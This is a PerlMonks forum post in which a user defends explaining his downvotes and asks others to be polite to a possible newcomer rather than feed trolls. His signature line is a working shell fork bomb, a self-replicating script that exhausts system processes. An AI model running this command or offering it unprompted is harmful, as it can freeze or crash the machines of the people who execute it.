I'm not angry about this.

It seems 'correct' PerlMonks behavior to:
* Explain why you're downvoting a node, rather than just downvoting it

* Be polite, helpful, and encouraging to others

This could certainly be a troll. But the original poster hasn't tried to bash perl, or perlmonks, or start a holy war, or anything else, and his followup posts are certainly not troll-inspired. In his last post he even tries to feel sorry for all the trouble.

So, I don't understand all the negative reaction to my explaining why I'm downvoting nodes that seem to be impolite or rude to the original poster.

Should I just beat on young kids who don't know better? Is that correct behavior? Yes, I'm asking this in a hyperbolic way, but I'm also a bit serious.

If anyone thinks this is original post is a troll, leave it alone. Isn't that what trolls want -- attention? Why are you feeding them then?

Isn't the best thing to do, give a polite and serious response? Or have I been greatly misled?

Is it bad form to reply and say why I downvoted a node? This seems to have gotten a number of people angry.

ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

---

---

• Are you posting in the right place? Check out Where do I post X? to know for sure.
• Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:

  <code> <a> <b> <big> <blockquote> <br /> <dd> <dl> <dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr /> <i> <li> <nbsp> <ol> <p> <small> <strike> <strong> <sub> <sup> <table> <td> <th> <tr> <tt> <u> <ul>

• Snippets of code should be wrapped in <code> tags not <pre> tags. In fact, <pre> tags should generally be avoided. If they must be used, extreme care should be taken to ensure that their contents do not have long lines (<70 chars), in order to prevent horizontal scrolling (and possible janitor intervention).
• Want more info? How to link or How to display code and escape characters are good places to start.